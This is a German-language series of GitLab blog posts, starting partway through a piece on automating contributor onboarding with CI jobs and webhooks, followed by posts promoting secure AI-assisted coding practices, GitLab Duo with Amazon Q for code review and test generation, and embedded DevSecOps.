Das Onboarding-Issue behandelt auch die Zugangsgenehmigung für die GitLab Community Forks, eine Sammlung gemeinsamer Projekte, die es einfacher machen, Änderungen zu pushen, mit anderen zusammenzuarbeiten und auf GitLab Ultimate- und Duo-Funktionen zuzugreifen.

Mit Scoped Labels zeigen wir den Status der Zugangsanfrage für einfache Maintainer-Nachverfolgungen an.

Wir begannen mit einem Ruby-Skript, das über eine geplante Pipeline ausgeführt wurde, nach neuen Zugangsanfragen suchte und das Issue-Template nutzte, um personalisierte Onboarding-Issues zu erstellen.

Von hier aus engagieren sich unsere Maintainer mit neuen Mitwirkenden, um den Zugang zu verifizieren, Fragen zu beantworten und Issues zu finden.

Wir standardisierten Antworten mit Kommentar-Templates

Mit mehreren Maintainern in der GitLab-Community wollten wir konsistente und klare Kommunikation sicherstellen.

Wir erstellten Kommentar-Templates, die wir mit dem Repository über die GraphQL-API und ein Ruby-Skript synchronisieren.

Das Skript wird in .gitlab-ci.yml ausgelöst, wenn Änderungen an Kommentar-Templates zum Standard-Branch gepusht werden (ein Trockenlauf wird in Merge Requests ausgelöst).

execute:sync-comment-templates:
  stage: execute
  extends: .ruby
  script:
    - bundle exec bin/sync_comment_templates.rb
  variables:
    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY
  rules:
    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == "trigger"
      when: never
    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'
    - if: $CI_MERGE_REQUEST_IID
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        REPORT_ONLY: 1
    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH
      changes:
        - .gitlab/comment_templates/**/*
      variables:
        FORCE_SYNC: 1
        DRY_RUN: 0
        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE

Wir eliminierten die 5-Minuten-Wartezeit

Unsere erste Iteration war etwas langsam. Nach dem Start des Onboarding-Prozesses fragten sich Mitwirkende, was als Nächstes zu tun ist, während die geplante Pipeline bis zu 5 Minuten brauchte, um ihr Onboarding-Issue zu erstellen. Fünf Minuten fühlen sich wie eine Ewigkeit an, wenn du den Schwung hast, einzutauchen.

Niklas, ein Mitglied unseres Core Teams, entwickelte eine Lösung. Er fügte Webhook-Events für Zugangsanfragen und benutzerdefinierte Payload-Templates für Webhooks hinzu.

Diese Funktionen ermöglichten es uns gemeinsam, eine Pipeline sofort auszulösen, anstatt auf den Zeitplan zu warten. Das reduziert die Zeit auf etwa 40 Sekunden (die Zeit, die die CI-Pipeline zum Ausführen benötigt) und generiert das Onboarding-Issue sofort. Es spart auch Tausende verschwendeter Pipelines und Compute-Minuten, wenn tatsächlich keine Zugangsanfragen verarbeitet werden müssen.

Wir richteten ein Pipeline-Trigger-Token ein und nutzten dies als Ziel für den Webhook, wobei wir die gewünschten Umgebungsvariablen übergaben:

{
  "ref": "main",
  "variables": {
    "EXECUTE_ACCESS_REQUESTS": "1",
    "DRY_RUN": "0",
    "PIPELINE_NAME": "Create onboarding issues",
    "GROUP_ID": "{{group_id}}",
    "EVENT_NAME": "{{event_name}}"
  }
}

Wir automatisierten Nachfassaktionen

Mit einem steigenden Volumen von Kunden und Community-Mitwirkenden, die in die GitLab-Community einsteigen, hatten Maintainer Schwierigkeiten nachzuvollziehen, welche Issues Aufmerksamkeit benötigten, und einige Nachfragen gingen verloren.

Wir bauten eine Automatisierung auf, die Webhooks und Ruby nutzt, um Issues zu kennzeichnen, die von Community-Mitgliedern aktualisiert wurden. Dies schafft ein klares Signal des Issue-Status für Maintainer.

GitLab Triage stupst automatisch inaktive Onboarding-Issues an, um sicherzustellen, dass wir die Dynamik der Mitwirkenden aufrechterhalten.

Wir organisierten die Issue-Verfolgung mit GLQL

Wir bauten eine GLQL-Ansicht, um Issues im Blick zu behalten. Diese GLQL-Tabelle fasst Onboarding-Issues zusammen, die Aufmerksamkeit benötigen, damit Maintainer sie überprüfen und mit Community-Mitgliedern nachfassen können.

Diese GLQL-Ansichten verbesserten unsere gesamte Triage-Effizienz. Es war so erfolgreich, dass wir diese Strategie auch bei den Programmen GitLab for Open Source und GitLab for Education anwendeten. Mit GLQL-Tabellen für Support-Issues senkten diese Community-Programme ihre Antwortzeiten um 75%.

Wir machten die README auffindbar

Die @gitlab-community-Gruppe ist das Zuhause für Mitwirkende auf GitLab.com. Wir hatten bereits eine README.md-Datei, die die Community Forks und den Onboarding-Prozess erklärte, aber diese Datei befand sich in unserem Meta-Projekt. Mit unserer Folgestudie entdeckten wir, dass dies ein Verwirrungspunkt für Neulinge war, wenn ihre Onboarding-Issues unter einem anderen Projekt waren.

Wir nutzten GitLabs Projekt-Spiegelung, um dies zu lösen und spiegelten das Meta-Projekt zu gitlab-profile. Dies machte die bestehende README-Datei auf Gruppenebene sichtbar und erleichterte die Entdeckung.

Die Ergebnisse sprechen für sich selbst

Durch das Dogfooding von GitLab verbesserten wir die in unseren Forschungsstudien gefundenen Stolpersteine und transformierten die GitLab-Mitwirkenden-Journey. Wir haben die Anzahl der Kunden und Community-Mitglieder erhöht, die zu GitLab beitragen, Funktionen zum Produkt hinzufügen, Fehler beheben und zu unserem CI/CD-Katalog beitragen.

Unser Onboarding-Prozess hat die Rate erhöht, mit der Neulinge der Community beitreten, und unsere Gesamtzahl der Mitwirkenden in den Community Forks hat sich in den letzten 9 Monaten verdoppelt.

Wir reduzierten die Zeit, die Neulinge für ihren ersten Beitrag benötigen, indem wir sie schneller mit Maintainern verbinden und sie beim Einstieg unterstützen. Wir nutzen GitLabs Value Stream Analytics, um unsere Antwortzeiten zu verfolgen.

Die erste Antwortzeit von Community-Maintainern liegt in den letzten 3 Monaten bei 46 Minuten
Die durchschnittliche Genehmigungszeit für den Zugang zu Community Forks liegt in den letzten 3 Monaten bei 1 Stunde

Die 100%-ige Erfolgsquote unserer Nutzerstudie 2025 bestätigte diese Verbesserungen für unsere Erstmitwirkenden.

Wir investierten Zeiteinsparungen in die Anerkennung von Mitwirkenden

Die Behebung dieser Neueinsteiger-Herausforderungen ermöglichte uns mehr Kapazität, uns auf eine bessere Anerkennung von Mitwirkenden zu konzentrieren und Erstmitwirkende zu motivieren, wiederzukommen. Das Ergebnis ist contributors.gitlab.com. Wir haben einen zentralen Hub für unsere Mitwirkenden aufgebaut, der gamifizierte Bestenlisten, Erfolge und Belohnungen bietet. Mitwirkende können ihre Wirkung sehen, Fortschritte verfolgen und in der Community wachsen.

Was wir gelernt haben teilen

Diese Verbesserungen funktionieren und sind für andere Open-Source-Projekte wiederholbar. Wir teilen unseren Ansatz über Communities und Konferenzen hinweg, damit andere Projekte in Betracht ziehen können, diese Tools zum Wachstum zu nutzen.

Wenn mehr Organisationen die Teilnahmebarrieren kennenlernen, können wir eine einladendere Open-Source-Umgebung schaffen. Mit diesen GitLab-Tools können wir sowohl Mitwirkenden als auch Maintainern eine reibungslosere Erfahrung bieten. Wir sind entschlossen, diese Arbeit voranzutreiben und zusammenzuarbeiten, um Barrieren für Open-Source-Projekte überall zu beseitigen.

Das Gespräch beginnen

Möchtest du mehr darüber erfahren, wie du deine Mitwirkenden-Community wachsen lassen kannst? Sende eine E-Mail an contributors@gitlab.com oder öffne ein Issue, um eine Diskussion zu beginnen. Wir sind hier, um beim Aufbau von Communities zu helfen.

3 Best Practices für die Softwareentwicklung im Zeitalter von LLMs

2025-07-10T00:00:00.000Z

KI ist schnell zu einem Kernbestandteil der modernen Softwareentwicklung geworden. Sie hilft Entwickler(innen) nicht nur dabei, schneller als je zuvor zu programmieren, sondern automatisiert auch Low-Level-Aufgaben wie das Schreiben von Testfällen oder das Zusammenfassen von Dokumentationen. Laut unserer 2024 Global DevSecOps Survey nutzen bereits 81 % der Entwickler(innen) KI in ihren Workflows oder planen dies in den nächsten zwei Jahren.

Da Code mit weniger manuellem Aufwand geschrieben wird, beobachten wir eine subtile, aber wichtige Verhaltensänderung: Entwickler(innen) beginnen, KI-generiertem Code mit weniger Prüfung zu vertrauen. Dieses Vertrauen – so verständlich es auch sein mag – kann stillschweigend Sicherheitsrisiken einführen, insbesondere wenn das Gesamtvolumen des Codes zunimmt.

Von Entwickler(innen) kann nicht erwartet werden, dass sie über jede Schwachstelle oder jeden Exploit auf dem Laufenden bleiben. Deshalb brauchen wir Systeme und Sicherheitsvorkehrungen, die mit ihnen skalieren. KI-Tools sind gekommen, um zu bleiben. Als Sicherheitsexperten ist es daher die Pflicht, Entwickler(innen) zu befähigen, diese so zu übernehmen, dass sowohl Geschwindigkeit als auch Sicherheit verbessert werden.

Hier sind drei praktische Wege, dies zu erreichen.

Niemals vertrauen, immer verifizieren

Wie bereits erwähnt, beginnen Entwickler(innen), KI-generiertem Code bereitwilliger zu vertrauen, besonders wenn er sauber aussieht und fehlerfrei kompiliert. Um dem entgegenzuwirken, sollte eine Zero-Trust-Mentalität angenommen werden. Während oft über Zero Trust (englischsprachiger Artikel) im Kontext von Identitäts- und Zugriffsmanagement gesprochen wird, kann dasselbe Prinzip hier mit einem etwas anderen Rahmen angewendet werden. KI-generierten Code wie Input von einem Junior-Entwickler behandeln: hilfreich, aber nicht produktionsreif ohne ordnungsgemäße Überprüfung.

Entwickler(innen) sollten erklären können, was der Code tut und warum er sicher ist, bevor er gemergt wird. Die Überprüfung von KI-generiertem Code könnte sich sogar als eine aufkommende Fähigkeit herausstellen, die in der Welt der Softwareentwicklung erforderlich ist. Die Entwickler(innen), die darin sehr gut sind, werden unverzichtbar sein, weil sie die Geschwindigkeit von LLMs mit der Denkweise zur Risikominderung verbinden, um sicheren Code schneller zu produzieren.

Hier können Tools wie GitLab Duo Code Review (englischsprachiger Artikel) helfen. Als Feature unseres KI-Begleiters über den gesamten Softwareentwicklungszyklus hinweg bringt es KI in den Code-Review-Prozess – nicht um menschliches Urteilsvermögen zu ersetzen, sondern um es zu verbessern. Durch das Aufzeigen von Fragen, Inkonsistenzen und übersehenen Problemen in den Merge Requests kann KI Entwickler(innen) dabei helfen, mit genau der KI Schritt zu halten, die Entwicklungszyklen beschleunigt.

Prompts für sichere Muster

Large Language Models LLMs (englischsprachiger Artikel) sind leistungsfähig, aber nur so präzise wie die ihnen gegebenen Prompts. Deshalb wird Prompt Engineering zu einem Kernbestandteil der Arbeit mit KI-Tools. In der Welt der LLMs ist die Eingabe die Schnittstelle. Entwickler(innen), die lernen, klare, sicherheitsbewusste Prompts zu schreiben, werden eine Schlüsselrolle beim Aufbau sichererer Software von Anfang an spielen.

Beispielsweise führen vage Anfragen wie „baue ein Login-Formular" oft zu unsicheren oder zu vereinfachten Ergebnissen. Durch die Einbeziehung von mehr Kontext, wie „baue ein Login-Formular mit Eingabevalidierung, Rate Limiting und Hashing, und unterstütze Phishing-resistente Authentifizierungsmethoden wie Passkeys", ist es wahrscheinlicher, dass eine Ausgabe produziert wird, die den Sicherheitsstandards der Organisation entspricht.

Aktuelle Forschung (englischsprachiger Artikel) von Backlash Security unterstützt dies. Hiernach verbessere sicheres Prompting die Ergebnisse bei beliebten LLMs. Wenn Entwickler(innen) die Modelle einfach baten, „sicheren Code zu schreiben", blieben die Erfolgsraten niedrig. Wenn jedoch Prompts auf OWASP Best Practices (englischsprachiger Artikel) verwiesen, stieg die Rate der sicheren Code-Generierung.

Prompt Engineering sollte Teil dessen sein, wie Security Champions innerhalb von Entwicklungsteams geschult und befähigt werden. Genau wie sichere Coding-Muster und Threat Modeling gelehrt werden, sollte Entwickler(innen) auch beigebracht werden, wie KI-Tools mit derselben Sicherheitsdenkweise geleitet werden.

Erfahre mehr mit diesen hilfreichen englischsprachigen Prompt-Engineering-Tipps.

Alles scannen, keine Ausnahmen

Der Aufstieg der KI bedeutet, dass mehr Code schneller mit der gleichen Anzahl von Menschen geschrieben wird. Diese Verschiebung sollte die Denkweise über Sicherheit ändern – nicht nur als abschließende Überprüfung, sondern als ständig aktive Schutzmaßnahme, die in jeden Aspekt des Entwicklungsprozesses eingewoben ist.

Mehr Code bedeutet eine größere Angriffsfläche. Und wenn dieser Code teilweise oder vollständig generiert ist, können wir uns nicht allein auf sichere Coding-Praktiken oder individuelle Intuition verlassen, um Risiken zu erkennen. Hier kommt automatisiertes Scannen ins Spiel. Static Application Security Testing (SAST) (englischsprachiger Artikel), Software Composition Analysis (SCA) (englischsprachiger Artikel) und Secret Detection (englischsprachiger Artikel) werden zu kritischen Kontrollen, um das Risiko von Secret Leaks, Supply-Chain-Angriffen und Schwachstellen wie SQL-Injections zu mindern. Mit Plattformen wie GitLab ist [Application Security] (englischsprachiger Artikel)(https://about.gitlab.com/solutions/security-compliance/) nativ in den Workflow der Entwickler(innen) integriert, was sie zu einem natürlichen Teil des Entwicklungslebenszyklus macht. Scanner können auch durch das gesamte Programm verfolgen, um sicherzustellen, dass neuer KI-generierter Code sicher ist im Kontext des gesamten anderen Codes – das kann schwer zu erkennen sein, wenn nur neuer Code in der IDE oder in einem KI-generierten Patch betrachtet wird.

Aber es geht nicht nur ums Scannen, es geht darum, Schritt zu halten. Wenn Entwicklungsteams mit der Geschwindigkeit der KI-unterstützten Entwicklung mithalten wollen, brauchen sie Scans, die schnell, genau und auf Skalierung ausgelegt sind. Genauigkeit ist besonders wichtig. Wenn Scanner Entwickler(innen) mit False Positives überwältigen, besteht das Risiko, das Vertrauen in das System insgesamt zu verlieren.

Der einzige Weg, schnell zu agieren und sicher zu bleiben, ist, das Scannen nicht verhandelbar zu machen.

Jeder Commit. Jeder Branch. Keine Ausnahmen.

Sicherer KI-generierter Code mit GitLab

KI verändert die Art und Weise, wie Software entwickelt wird, aber die Grundlagen der sicheren Softwareentwicklung gelten weiterhin. Code muss immer noch überprüft werden. Bedrohungen müssen immer noch getestet werden. Und Sicherheit muss immer noch in die Arbeitsweise eingebettet sein. Bei GitLab haben wir genau das getan.

Als Entwicklerplattform schrauben wir Sicherheit nicht an den Workflow – wir betten sie direkt dort ein, wo Entwickler(innen) bereits arbeiten: in der IDE, in Merge Requests und in der Pipeline. Scans laufen automatisch und relevanter Sicherheitskontext wird angezeigt, um schnellere Behebungszyklen zu ermöglichen. Und da es Teil derselben Plattform ist, auf der Entwickler(innen) Software erstellen, testen und bereitstellen, gibt es weniger Tools zu jonglieren, weniger Kontextwechsel und einen viel reibungsloseren Weg zu sicherem Code.

KI-Funktionen wie Duo Vulnerability Explanation und Vulnerability Resolution fügen eine weitere Ebene von Geschwindigkeit und Einblick hinzu und helfen Entwickler(innen), Risiken zu verstehen und sie schneller zu beheben, ohne ihren Flow zu unterbrechen.

KI ist keine Abkürzung zur Sicherheit. Aber mit den richtigen Praktiken – und einer Plattform, die Entwickler(innen) dort abholt, wo sie sind – kann sie absolut Teil des Aufbaus von Software sein, die schnell, sicher und skalierbar ist.

Starte deine kostenlose 60-tägige Testversion von GitLab Ultimate mit Duo Enterprise und erlebe, wie es ist, sichere Software schneller zu entwickeln. Mit nativer Sicherheitsprüfung, KI-gestützten Einblicken und einer nahtlosen Entwicklererfahrung hilft GitLab dabei, Sicherheit nach links zu verschieben, ohne zu verlangsamen.

Von Tagen zu Sekunden: So revolutioniert /q review deine Code Reviews

2025-07-08T00:00:00.000Z

Code Reviews sind wichtig, um Bugs zu finden, die Lesbarkeit des Codes zu verbessern und Programmierstandards einzuhalten, aber sie können auch zu einem großen Engpass in deinem Workflow führen. Wenn du versuchst, Features schnell zu veröffentlichen, kann es ziemlich frustrierend sein, auf andere Teammitglieder zu warten, die deinen Code überprüfen. Langwierige Diskussionen, Terminkonflikte und die Zeit, die es braucht, um alle Beteiligten auf einen Nenner zu bringen, können eine einfache Review über Tage oder sogar Wochen in die Länge ziehen.

Hier kommt GitLab Duo mit Amazon Q, unser neues Angebot, das AWS-Kund(inn)en agentenbasierte KI während des gesamten Software-Entwicklungsprozesses zur Verfügung stellt, ins Spiel, um deinen Review-Prozess zu transformieren.

Diese intelligente, KI-gestützte Lösung kann umfassende Code Reviews für dich durchführen, und das in einem Bruchteil der Zeit, die deine menschlichen Kolleg(inn)en dafür benötigen würden. Durch die Nutzung fortschrittlicher agentischer KI-Funktionen optimiert GitLab Duo mit Amazon Q deinen gesamten Review-Workflow, ohne dass du dabei Abstriche bei der Qualität und Gründlichkeit machen musst. Stell dir vor, es gäbe jemanden, der immer zur Verfügung steht, deinen Code sofort analysiert und dir umsetzbares Feedback gibt.

So funktioniert’s: Einen Code Review starten

Wie funktioniert GitLab Duo mit Amazon Q eigentlich? Angenommen, du hast gerade die Arbeit an einem Feature abgeschlossen und einen Merge Request mit mehreren Code-Updates erstellt. Traditionell würdest du deine Teammitglieder anschreiben und auf ihre Verfügbarkeit warten. Mit GitLab Duo mit Amazon Q gibst du einfach einen kurzen Befehl in den Kommentarbereich ein: „/q review“. Das war’s – mit diesen beiden Worten tritt die KI in Aktion.

Sobald du den Befehl eingegeben hast, beginnt der Amazon-Q-Service sofort mit der Analyse deiner Codeänderungen. Du erhältst eine Bestätigung, dass die Review läuft, und in kürzester Zeit prüft die KI jede Zeile deiner Änderungen auf mögliche Probleme in verschiedenen Bereichen.

Nach Abschluss der Review erhältst du ein umfassendes Feedback, das alle Bereiche abdeckt: Fehlererkennung, Verbesserungen der Lesbarkeit, Syntaxfehler und die Einhaltung der Programmierstandards deines Teams. Die KI weist nicht nur auf Probleme hin, sondern liefert auch den Kontext und Vorschläge für deren Behebung, sodass du leicht verstehen kannst, worauf du achten musst und warum.

Das Schöne an diesem agentenbasierten KI-Ansatz ist, dass er dir die mühselige Arbeit der Code Review abnimmt, während du dich auf das konzentrieren kannst, was am wichtigsten ist: die Entwicklung großartiger Software.

Du profitierst von den Vorteilen gründlicher Code Reviews – bessere Fehlererkennung, konsistente Programmierstandards und verbesserte Codequalität – ohne den Zeitaufwand. Deine Bereitstellungszeiten verkürzen sich drastisch, weil du nicht mehr in Review-Warteschlangen steckst, und dein gesamtes Team wird produktiver.

Warum solltest du GitLab Duo mit Amazon Q verwenden?

GitLab Duo mit Amazon Q verändert deinen Entwicklungsworkflow auf folgende Weise:

Blitzschnelle Code Reviews, die keine Kompromisse bei der Qualität eingehen
Konsistente Anwendung von Programmierstandards in deiner gesamten Codebase
Sofortiges Feedback, das dir hilft, Fehler zu beheben, bevor sie in die Produktion gelangen
Kürzere Bereitstellungszeiten, damit du Funktionen schneller bereitstellen kannst
Mehr Zeit für dein Team, sich auf kreative Problemlösungen zu konzentrieren, statt auf sich wiederholende Reviews

Bist du bereit, diese neue Funktion in Aktion zu erleben? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Code-Review-Prozess revolutionieren kann:

Besuche uns auf einem der bevorstehenden AWS Summits in einer Stadt in deiner Nähe oder wende dich an deine(n) GitLab-Vertreter(in), um mehr über GitLab Duo mit Amazon Q zu erfahren.

Und nimm am virtuellen Launch-Event von GitLab 18 teil, um mehr über unsere Pläne für agentische KI und mehr zu erfahren. Registriere dich noch heute!

Anwendungsqualität mit KI-gestützter Testgenerierung verbessern

2025-07-03T00:00:00.000Z

Du weißt, wie entscheidend die Anwendungsqualität für deine Kund(inn)en und deinen Ruf ist. Allerdings kann es sich wie ein ständiger Kampf anfühlen, diese Qualität durch umfassende Tests sicherzustellen. Du hast es mit zeitaufwendigen manuellen Prozessen zu tun, inkonsistenter Testabdeckung im Team und diesen lästigen Problemen, die irgendwie durchrutschen. Es ist frustrierend, wenn deine Bewertung sinkt, weil die Qualitätssicherung eher zu einem Engpass als zu einem Schutzschild wird.

Hier kann GitLab Duo mit Amazon Q, das agentische KI im gesamten Softwareentwicklungslebenszyklus für AWS-Kund(inn)en bereitstellt, deinen QA-Prozess transformieren. Diese KI-gestützte Funktion kann automatisch umfassende Unit-Tests für deinen Code generieren und deinen Qualitätssicherungs-Workflow dramatisch beschleunigen. Anstatt Stunden damit zu verbringen, Tests manuell zu schreiben, kannst du die KI deinen Code analysieren und Tests erstellen lassen, die optimale Abdeckung und konsistente Qualität über deine gesamte Anwendung hinweg gewährleisten.

Wie GitLab Duo mit Amazon Q funktioniert

Wie funktioniert das also? Lass uns gemeinsam durch den Prozess gehen. Wenn du an einem neuen Feature arbeitest, beginnst du damit, die Java-Klasse auszuwählen, die du über einen Merge Request zu deinem Projekt hinzugefügt hast. Du navigierst einfach zu deinem Merge Request und klickst auf den Tab „Änderungen", um den neuen Code zu sehen, den du hinzugefügt hast.

Als Nächstes rufst du Amazon Q auf, indem du einen Quick-Action-Befehl eingibst. Alles, was du tun musst, ist /q test in das Issue-Kommentarfeld einzugeben. So einfach ist das – nur ein Schrägstrich, der Buchstabe „q" und das Wort „test".

Sobald du Enter drückst, wird Amazon Q aktiv. Es analysiert deinen ausgewählten Code und versteht dessen Struktur, Logik und Zweck. Die KI untersucht deine Klassenmethoden, Abhängigkeiten und potenzielle Randfälle, um zu bestimmen, welche Tests benötigt werden.

Innerhalb weniger Augenblicke generiert Amazon Q eine umfassende Unit-Test-Abdeckung für deine neue Klasse. Es erstellt Tests, die nicht nur den Happy Path abdecken, sondern auch Randfälle und Fehlerbedingungen, die du möglicherweise übersehen hättest. Die generierten Tests folgen den bestehenden Mustern und Konventionen deines Projekts und stellen sicher, dass sie sich nahtlos in deine Codebasis integrieren.

Warum GitLab Duo mit Amazon Q verwenden?

Hier ist das Fazit: Du hast mit einer kritischen Herausforderung begonnen – hochwertige Anwendungen zu pflegen und dabei mit Zeitbeschränkungen und inkonsistenten Testpraktiken umzugehen. GitLab Duo mit Amazon Q löst dies, indem es den Testgenerierungsprozess automatisiert und optimale Code-Abdeckung sowie konsistente Teststandards gewährleistet. Das Ergebnis? Probleme werden vor der Bereitstellung erkannt, deine Anwendungen behalten ihre Qualität und du kannst Software schneller entwickeln, ohne die Zuverlässigkeit zu opfern.

Hauptvorteile dieser Funktion:

Reduziert die Zeit für das Schreiben von Unit-Tests erheblich
Gewährleistet umfassende Testabdeckung über deine gesamte Codebasis
Hält konsistente Testqualität über alle Teammitglieder hinweg aufrecht
Erkennt Probleme, bevor sie die Produktion erreichen
Beschleunigt deine gesamte Entwicklungsgeschwindigkeit

Bereit, diese bahnbrechende Funktion in Aktion zu sehen? Sieh dir an, wie GitLab Duo mit Amazon Q deinen Qualitätssicherungsprozess transformieren kann:

Starte noch heute mit GitLab Duo mit Amazon Q

Möchtest du mehr über GitLab Duo mit Amazon Q erfahren? Besuche die GitLab und AWS Partnerseite für detaillierte Informationen.

Agentische KI-Ressourcen

Warum jetzt die Zeit für Embedded DevSecOps ist

2025-07-03T00:00:00.000Z

Für Embedded-Systeme-Teams schien DevSecOps traditionell eher ein Ansatz für SaaS-Anwendungen als für die Firmware-Entwicklung zu sein. Aber das ändert sich. Software ist jetzt ein primärer Differenzierungsfaktor bei Hardwareprodukten. Neue Erwartungen der Marktteilnehmer erfordern moderne Entwicklungspraktiken. Als Reaktion darauf verfolgen Unternehmen "Embedded DevSecOps".

Was ist Embedded DevSecOps? Die Anwendung kollaborativer Engineering-Praktiken, integrierter Toolchains und Automatisierung für das Erstellen, Testen und Sichern von Software auf die Entwicklung eingebetteter Systeme. Embedded DevSecOps umfasst notwendige Anpassungen für die Hardware-Integration.

Drei Marktkräfte, welche die Embedded-Entwicklung revolutionieren

Drei mächtige Marktkräfte konvergieren und zwingen Embedded-Teams dazu, ihre Entwicklungspraktiken zu modernisieren.

1. Software wird zum primären Differenzierungsfaktor

Produkte, die einst hauptsächlich durch ihre Hardware definiert wurden, unterscheiden sich jetzt durch ihre Softwarefähigkeiten. Der Markt für softwaredefinierte Fahrzeuge (SDV) erzählt in dieser Hinsicht eine überzeugende Geschichte. Er wird voraussichtlich von 213,5 Milliarden US-Dollar im Jahr 2024 auf 1,24 Billionen US-Dollar (Artikel auf Englisch) bis 2030 wachsen – eine massive jährliche Wachstumsrate von 34%.

Der Softwareanteil in diesen Produkten wächst erheblich. Bis Ende 2025 wird erwartet, dass das durchschnittliche Fahrzeug 650 Millionen Codezeilen (Artikel auf Englisch) enthält. Traditionelle Embedded-Entwicklungsansätze können diese Softwarekomplexität nicht bewältigen.

2. Hardware-Virtualisierung ermöglicht neue Arbeitsweisen

Hardware-Virtualisierung ist ein wichtiger technischer Enabler für Embedded DevSecOps. Virtuelle elektronische Steuergeräte (vECUs), Cloud-basierte ARM-CPUs und anspruchsvolle Simulationsumgebungen werden immer verbreiteter. Virtuelle Hardware ermöglicht Tests, die einst physische Hardware erforderten.

Diese Virtualisierungstechnologien bieten eine Grundlage für Continuous Integration (CI). Aber ihr Wert wird nur vollständig realisiert, wenn sie in einen automatisierten Workflow integriert sind. In Kombination mit kollaborativen Entwicklungspraktiken und automatisierten Pipelines helfen virtuelle Tests den Teams, Probleme viel früher zu erkennen, wenn Korrekturen noch viel kostengünstiger sind. Ohne Embedded-DevSecOps-Praktiken und Tools zur Orchestrierung dieser virtuellen Ressourcen können Unternehmen den Virtualisierungstrend nicht nutzen.

3. Der Wettbewerbsdruck steigt exponentiell

Drei miteinander verbundene Kräfte gestalten die Wettbewerbslandschaft für die Embedded-Entwicklung neu:

Der Kampf um die größten Talente hat sich entscheidend verschoben. Wie ein Embedded-Systems-Leader bei einem GitLab-Kunden erklärte: "Kein Embedded-Ingenieur, der heute vom College kommt, kennt Legacy-Tools wie Perforce. Sie kennen Git. Diese jungen Ingenieure arbeiten sechs Monate in einem Unternehmen mit Legacy-Tools und kündigen dann." Unternehmen, die veraltete Tools verwenden, könnten ihre technische Zukunft verlieren.
Dieser Vorsprung durch die besten Talente führt zu Wettbewerbsvorteilen. Technologieorientierte Unternehmen, die Top-Ingenieure mit modernen Praktiken anziehen, erzielen bemerkenswerte Ergebnisse. Beispielsweise führte SpaceX (Artikel auf Englisch) im Jahr 2024 mehr Orbitalstarts durch als der Rest der Welt zusammen. Technologieorientierte Unternehmen zeichnen sich durch Softwareentwicklung aus und haben eine moderne Entwicklungskultur. Dies schafft unter anderem Effizienzen, die Legacy-Unternehmen nur schwer erreichen können.
Die steigenden Kosten der Embedded-Entwicklung – getrieben durch lange Feedback-Zyklen – schaffen einen dringenden Bedarf an Embedded DevSecOps. Wenn Entwickler(innen) wochenlang warten müssen, um Code auf Hardware-Testbänken zu testen, bleibt die Produktivität von Natur aus niedrig. Ingenieur(innen) verlieren den Kontext und müssen den Kontext wechseln, wenn die Ergebnisse eintreffen. Das Problem verschlimmert sich, wenn Fehler ins Spiel kommen. Bugs werden teurer zu beheben, je später sie entdeckt werden. Lange Feedback-Zyklen vergrößern dieses Problem in eingebetteten Systemen.

Unternehmen setzen Embedded DevSecOps ein, um diese Herausforderungen zu bewältigen.

So setzen führende Unternehmen Embedded DevSecOps um

Basierend auf diesen Marktkräften implementieren zukunftsorientierte Embedded-Systems-Leader Embedded DevSecOps auf folgende Weise.

Hardware-Tests automatisieren und beschleunigen

Hardware-Test-Engpässe stellen eine der bedeutendsten Einschränkungen in der traditionellen Embedded-Entwicklung dar. Diese Verzögerungen schaffen die zuvor beschriebene ungünstige Wirtschaftlichkeit – wenn Entwickler(innen) wochenlang auf Hardware-Zugriff warten, steigen die Fehlerkosten spiralförmig an.

Die Bewältigung dieser Herausforderung erfordert einen facettenreichen Ansatz, einschließlich:

Automatisierung der Orchestrierung teurer gemeinsam genutzter Hardware-Testbänke unter Embedded-Entwickler(inne)n
Integration sowohl von SIL (Software-in-the-Loop) als auch HIL (Hardware-in-the-Loop) Tests in automatisierte CI-Pipelines
Standardisierung von Builds mit versionskontrollierten Umgebungen

Embedded-Entwickler(innen) können dies mit GitLabs On-Premises Device Cloud (Seite auf Englisch) erreichen, einer CI/CD-Komponente. Durch die Automatisierung der Orchestrierung von Firmware-Tests auf virtueller und realer Hardware sind Teams besser positioniert, um Feedback-Zyklen von Wochen auf Stunden zu reduzieren. Sie können auch mehr Bugs früh im Software-Entwicklungslebenszyklus erkennen.

Automatisierung von Compliance und Security Governance

Eingebettete Systeme unterliegen strengen regulatorischen Anforderungen. Manuelle Compliance-Prozesse sind nicht nachhaltig.

Führende Unternehmen transformieren die Art und Weise, wie sie diese Anforderungen erfüllen, durch:

Ersetzen manueller Workflows durch automatisierte Compliance-Frameworks
Integration spezialisierter Funktionssicherheits-, Sicherheits- und Code-Qualitäts-Tools in automatisierte Continuous-Integration-Pipelines
Automatisierung von Genehmigungsworkflows, Durchsetzung von Code-Reviews und Pflege von Audit-Trails
Konfiguration von Compliance-Frameworks für spezifische Standards wie ISO 26262 oder DO-178C

Dieser Ansatz ermöglicht eine höhere Compliance-Reife ohne zusätzliches Personal – was einst eine Last war, wird zu einem Wettbewerbsvorteil. Ein führender Hersteller von Elektrofahrzeugen (EV) führt mit GitLab täglich 120.000 CI/CD-Jobs aus, von denen viele Compliance-Prüfungen beinhalten. Und sie können Fehlerbehebungen innerhalb einer Stunde nach der Entdeckung beheben und in Fahrzeuge bereitstellen. Dieses Maß an Skalierung und Geschwindigkeit wäre ohne automatisierte Compliance-Workflows extrem schwierig.

Compliance-Prozesse in CI/CD-Pipelines integrieren

Historisch gesehen haben Embedded-Entwickler(innen) aus berechtigten geschäftlichen und technischen Gründen weitgehend allein an ihren Schreibtischen gearbeitet. Die Zusammenarbeit war begrenzt. Innovative Unternehmen durchbrechen diese Barrieren, indem sie gemeinsame Code-Sichtbarkeit durch integrierte Source-Control- und CI/CD-Workflows ermöglichen. Diese modernen Praktiken ziehen Ingenieur(innen) an und halten sie, während sie Innovationen freischalten, die in isolierten Workflows verborgen bleiben würden.

